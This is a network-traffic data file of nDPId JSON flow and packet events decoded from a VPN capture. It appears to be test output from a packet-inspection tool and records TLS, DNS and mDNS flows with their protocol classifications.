+02051{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":671440,"pkt_caplen":1261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1261,"pkt_l4_len":1227,"pkt":"LH6BsEqhNDY7z3UoCABFAATfAABAAEAGwk8KAADjCCVgwt5ZEL8UzEH9FmSAWIAYEACreAAAAQEIChwNtd54pr+QFgMDAzwLAAM4AAM1AAMyMIIDLjCCAhagAwIBAgIIXsE90hYB3ZMwDQYJKoZIhvcNAQELBQAwVzEbMBkGA1UEAwwSODIwMDYzNDY3NTA1NTk2OTQ1MQ8wDQYDVQQKDAZDb2RlNDIxDTALBgNVBAsMBFRFU1QxCzAJBgNVBAgMAk1OMQswCQYDVQQGEwJVUzAeFw0xOTA5MjcxNzA4NTRaFw0xOTExMDYxODA4NTRaMFcxGzAZBgNVBAMMEjgyMDA2MzQ2NzUwNTU5Njk0NTEPMA0GA1UECgwGQ29kZTQyMQ0wCwYDVQQLDARURVNUMQswCQYDVQQIDAJNTjELMAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDFYNZF26UjF+3XnUaEzq2uKuy6YckvZ5n1IhrUyH4zqRE0C5g\/BsCIvfkEE6TyupFQ4zMe+ASrbcfCFfmBXZn9EyO2y6o\/sbnd8HsF6Z3UUaKSHlnlxaRxv\/MedjLtwG3XZYZEuxpfay\/LAaGwVqFVP5hmYDEfjOT5Kd74arwkz4pyderrG697sUGTrgCw8fop3RymVwWeulqkHzdgm7wmvL9lgHGTFqzcYpnLz+ZplicVnyMy+m80fxpxNgKXAZDHsqfWX9O9dJf4wZXeSCnnj1yopzf5V0fJrs8CZKxE3rFS0er1ulRBi99xbJBI+1qCBTWPfbh7D6ri04FydMXJAgMBAAEwDQYJKoZIhvcNAQELBQADggEBADsP0enuURs3RrXlAMTbQYO4wqobE2iXacBBrHaoyhepONSqo9LJeswi9sR0mW4u8pQnbYOlqS86pZKJPoTQxLjJStpwWaMckOoZFubAOcmKEg5Fv169c+tWMJLBEOBJdKU+YhDNjTpdiszbuzRV1IHnW5omZjzz8Xlq\/EtTVq5IFr01PSptO6Lm620bDTyzWb8zuoR+aK9zZ6MQSmapuxkhs6wI45NLCWPcDd+k2WXJTNEg0Ni9b9vWGyMSDvTr5jaKQL3SfcBzMGcs+ugkma3W7YyJos32zARkMqALlPxyp6ikFzYWStXBSoncv9kD5Q\/7BjaQOWjN+t4i3EVf\/eQWAwMAJRAAACEgEWtqWgfGgf7lXlCr+zcvsN4Qgt8lveG0WfR54DQFHDMWAwMBCA8AAQQIBAEAsWffEwMziaZMvL09fBehHeaMPCBPy4zOPiqMony+6Xiwx9LtzC8X8PPN4kszu6J82D28ZzGdS0R89EmGsI54fPcJb4xdJXHhRNCGJvvagm0RXsKnXJu5TU04COJlg2eWmUZFQVDXUl8lzLNpSqlDx60dYVxm\/ehx3oZkHZVz\/SX31RUux10n+FZ9kNjiYSOsnpXHHqbA1wtdNL02a3oAPazweDlxd5JS+FooA\/KVtL\/VXaGFNFM\/iUgYzUBE8FRRITZ6ZcwQjyrEKyQYJ+JZV8Z8cG3OgQJ2rRH2lrIPbNOPiuvdzqYfnVZRBXfOC9\/\/VUqYskdiTTJ69u\/\/fmCexhQDAwABARYDAwAoYHY4Vgfv4X8IKyXCBRgV3egp4WmNBU+ZqlfDhPXew9ZtGk+\/14sACw=="} +00433{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":700295,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0FQFAAPEGAPkIJWDCCgAA4xC\/3lkWZIBYFMxGqIAQBVoSBwAAAQEICnimv7YcDbXe"} +00506{"flow_id":33,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":703258,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"NDY7z3UoLH6BsEqhCABFAABnFQJAAPEGAMUIJWDCCgAA4xC\/3lkWZIBYFMxGqIAYBVrYdAAAAQEICnimv7gcDbXeFAMDAAEBFgMDACg7dB3xmvKsFEH\/K1fakcw6GRzltlckKapF\/elLCgSM6vaL+Iyl+b5k"} +00434{"flow_id":33,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":703339,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGxvoKAADjCCVgwt5ZEL8UzEaoFmSAi4AQD\/4HEAAAAQEIChwNtfx4pr+4"} +01040{"flow_id":33,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":704807,"pkt_caplen":510,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":510,"pkt_l4_len":476,"pkt":"LH6BsEqhNDY7z3UoCABFAAHwAABAAEAGxT4KAADjCCVgwt5ZEL8UzEaoFmSAi4AYEAAu7wAAAQEIChwNtf14pr+4FwMDAbdgdjhWB+\/hgLh+jK23J36VZvUSbpVsO2rZopXPnB1sE1m\/n44SG4\/0Ukq22hErOkjUJNIQ72Mb5bruOQs7UT6AXj521xlXzouMdeBn\/\/tWR8RApAGmte953YCBMevJUfa\/piZefm7Ad6vn1VcbEcYft07M9AC3IK6MCqBWDilHrrYSYctEGiJ0gEMNHiJlN4xU4jMi5y6Y1Ii7RE5ePOqGptRw+H\/++5VzMQjiifTNwrhkB6rxQXgvJmSrx8MCxIoHYLmmptRaltbA3ROzFYXyBly1JaGC\/uv3MfEVrkm6eClCxuRppVpOwnVPvstTTTkwf+YXF9C\/cVgBRt3ithkJCjaW3o+\/7MIB7acMtzo\/Gd+vNJpCmkdik6BrWeZJEnFSEdFLhuqtrYGQEbbaq+F9v2RICzwmvmmwSOKMeEP2HhuIc4OEBR8aPilwyGEMi3ATc29N7dDnZeC3Z9Zu1rvn0s8Yvi8raMX\/4McNEUqy+shXRUlx34ACJOllyHP+e97qAipUQWKq3pskOEKHsUClOW75XN3mTZt+tdqLUVrGnKOuCM8dBz+SxZ++31bXjONN9TmkqQle"} +00434{"flow_id":33,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":733797,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0FUNAAPEGALcIJWDCCgAA4xC\/3lkWZICLFMxIZIAQBckPaQAAAQEICnimv9ccDbX9"} +00991{"flow_id":33,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":735527,"pkt_caplen":477,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":477,"pkt_l4_len":443,"pkt":"NDY7z3UoLH6BsEqhCABFAAHPFVhAAPEG\/wYIJWDCCgAA4xC\/3lkWZICLFMxIZIAYBcklXQAAAQEICnimv9kcDbX9FwMDAZY7dB3xmvKsFbpSGU5Z6+l16NuHUzEljEDzWYBP7ZWZDOZTGoZRttKdAB5qRWccWgycvaITMQnNtQn+P8N1Kg9uCikre4MryKs805hwnDbcg75H4yMsR7wuQFgTs3ao0XS512SZmYqnk5GfxR8tkIzviZsmpjxotnNqt1hJbce9L+zE12\/gtwBS\/A0RRY+P7kulc8bdxkXBQAHdXgFrz+qkBT2QjVQ49lNTuiWwY4CPM3DxJovwKuacISr23vMoR08eScybdrbrMeWidZ3LeIoKrXIMea0uS8qmp8H74Xl0uHJSlt+tNY\/eOZOUMz3Rh3Rure\/HjO1mQn073Oj0H1Xou7mBj6XUhyzMVXfmTDCt6Qbnwx13I6w1ibQVWsSRt+UVC7JZQYtyT+rTqV3dImDfT89H3ss5j1zUag41AW2R1hw9XRp9WLwHdLVjvIjtxtfr2OF2abRO1GDx6aJHg4pEb6MyIgcACB8qRr\/m29KEEUlyOt5y5XgodVs9fr8EAuCcviQ8QI47peMxp0wW+xrCU3vLaizy"} +00435{"flow_id":33,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":735584,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGxvoKAADjCCVgwt5ZEL8UzEhkFmSCJoAQD\/MDhAAAAQEIChwNtht4pr\/Z"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":196,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1569687260751,"flow_last_seen":0,"flow_tot_l4_data_len":67,"flow_min_l4_data_len":67,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":64972,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":751472,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"LH6BsEqhNDY7z3UoCABFAABXLuMAAP8R6zkKAADjS0tLS\/3MADUAQ49kJ8YBAAABAAAAAAAAAmxiB19kbnMtc2QEX3VkcAEwAzEyOAIyOAMxNzIHaW4tYWRkcgRhcnBhAAAMAAE="} +00666{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":196,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1569687260751,"flow_last_seen":0,"flow_tot_l4_data_len":67,"flow_min_l4_data_len":67,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":64972,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"lb._dns-sd._udp.0.128.28.172.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":197,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1569687260751,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":61613,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":751544,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"LH6BsEqhNDY7z3UoCABFAABT7b0AAP8RLGMKAADjS0tLS\/CtADUAP6A2wl8BAAABAAAAAAAAAmxiB19kbnMtc2QEX3VkcAEwATABMAIxMAdpbi1hZGRyBGFycGEAAAwAAQ=="} +00662{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":197,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1569687260751,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":61613,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"lb._dns-sd._udp.0.0.0.10.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00483{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":767487,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"NDY7z3UoLH6BsEqhCABFAABXAABAADoRnx1LS0tLCgAA4wA1\/cwAQw7hJ8aBgwABAAAAAAAAAmxiB19kbnMtc2QEX3VkcAEwAzEyOAIyOAMxNzIHaW4tYWRkcgRhcnBhAAAMAAE="} +00687{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":198,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":2,"flow_first_seen":1569687260751,"flow_last_seen":1569687260767,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":67,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":64972,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"lb._dns-sd._udp.0.128.28.172.in-addr.arpa","num_queries":1,"num_answers":0,"reply_code":3,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":772510,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"NDY7z3UoLH6BsEqhCABFAABTAABAADoRnyFLS0tLCgAA4wA18K0APx+zwl+BgwABAAAAAAAAAmxiB19kbnMtc2QEX3VkcAEwATABMAIxMAdpbi1hZGRyBGFycGEAAAwAAQ=="} +00683{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":199,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":2,"flow_first_seen":1569687260751,"flow_last_seen":1569687260772,"flow_tot_l4_data_len":126,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":61613,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"lb._dns-sd._udp.0.0.0.10.in-addr.arpa","num_queries":1,"num_answers":0,"reply_code":3,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":204,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1569687261034,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":57261,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":34277,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"LH6BsEqhNDY7z3UoCABFAABPSYUAAP8R0J8KAADjS0tLS9+tADUAOxFSxpgBAAABAAAAAAAADnZjYWNyYXNocGxhbjAxAmhxBGNvcnAGdmlhc2F0A2NvbQAAAQAB"} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":204,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1569687261034,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":57261,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vcacrashplan01.hq.corp.viasat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":205,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1569687261035,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":52879,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":35342,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"LH6BsEqhNDY7z3UoCABFAABPv9YAAP8RWk4KAADjS0tLS86PADUAO9rj8yQBAAABAAAAAAAADnZjYWNyYXNocGxhbjAxAmhxBGNvcnAGdmlhc2F0A2NvbQAAHAAB"} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":205,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1569687261035,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":52879,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vcacrashplan01.hq.corp.viasat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00578{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":50458,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"NDY7z3UoLH6BsEqhCABFAACgAABAADoRntRLS0tLCgAA4wA1360AjBq8xpiBgwABAAAAAQAADnZjYWNyYXNocGxhbjAxAmhxBGNvcnAGdmlhc2F0A2NvbQAAAQABwCMABgABAAACzwBFBm5zLTYzMglhd3NkbnMtMTUDbmV0ABFhd3NkbnMtaG9zdG1hc3RlcgZhbWF6b27AKgAAAAEAABwgAAADhAASdQAAAVGA"} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":206,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":2,"flow_first_seen":1569687261034,"flow_last_seen":1569687261050,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":59,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":57261,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vcacrashplan01.hq.corp.viasat.com","num_queries":1,"num_answers":1,"reply_code":3,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00578{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":54561,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"NDY7z3UoLH6BsEqhCABFAACgAABAADoRntRLS0tLCgAA4wA1zo8AjF9N8ySBgwABAAAAAQAADnZjYWNyYXNocGxhbjAxAmhxBGNvcnAGdmlhc2F0A2NvbQAAHAABwCMABgABAAADVABFBm5zLTYzMglhd3NkbnMtMTUDbmV0ABFhd3NkbnMtaG9zdG1hc3RlcgZhbWF6b27AKgAAAAEAABwgAAADhAASdQAAAVGA"} +00680{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":207,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":2,"flow_first_seen":1569687261035,"flow_last_seen":1569687261054,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":59,"flow_max_l4_data_len":140,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":52879,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vcacrashplan01.hq.corp.viasat.com","num_queries":1,"num_answers":1,"reply_code":3,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00439{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":208,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1569687260293,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00437{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":208,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1569687260293,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.2","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":208,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1569687259297,"flow_last_seen":0,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":240,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.213","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":317606,"pkt_caplen":132,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":132,"pkt_l4_len":98,"pkt":"AQBeAAD7GIEORo7ICABFAAB23NkAAP8R8swKAADV4AAA+xTpFOkAYmA6AAAAAAAEAAAAAAABBV9yYW9wBF90Y3AFbG9jYWwAAAyAAcAMAAyAAQhfYWlycGxhecASAAyAAcAoAAyAAQAAKQWgAAARlAASAAQADgCbOoEORo7IGIEORo7I"} +00610{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":208,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":5,"flow_first_seen":1569687246981,"flow_last_seen":1569687261317,"flow_tot_l4_data_len":642,"flow_min_l4_data_len":98,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":128,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_raop._tcp.local"}} +00554{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":318027,"pkt_caplen":152,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":152,"pkt_l4_len":98,"pkt":"MzMAAAD7GIEORo7Iht1gBoi5AGIR\/\/6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAD7FOkU6QBiuzAAAAAAAAQAAAAAAAEFX3Jhb3AEX3RjcAVsb2NhbAAADIABwAwADIABCF9haXJwbGF5wBIADIABwCgADIABAAApBaAAABGUABIABAAOAJs6gQ5GjsgYgQ5Gjsg="} +00621{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":209,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":5,"flow_first_seen":1569687246982,"flow_last_seen":1569687261318,"flow_tot_l4_data_len":642,"flow_min_l4_data_len":98,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":128,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::408:3e45:3abc:1552","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_raop._tcp.local"}} +00585{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687261,"pkt_ts_usec":436307,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"pHczjPFANDY7z3UoCABFAgCiAABAAEAGJN0KAADjCgAAldwAH0m4VKX0auVrcYAYEABPswAAAQEIChwNuMkAIdsnFwMDAGkquNBHUc+ChscXrUtRgCMYZjRJVOaQbTlODQaeY5amqm\/GjUiqzcV41wRmui04E3RqPf8DL0M0lIjsIbM19o\/m74SCL79srfXk80arhJGRlFMGMhcIdyIAYFhKQmR+T8ve+Kap9JlvJLM="} 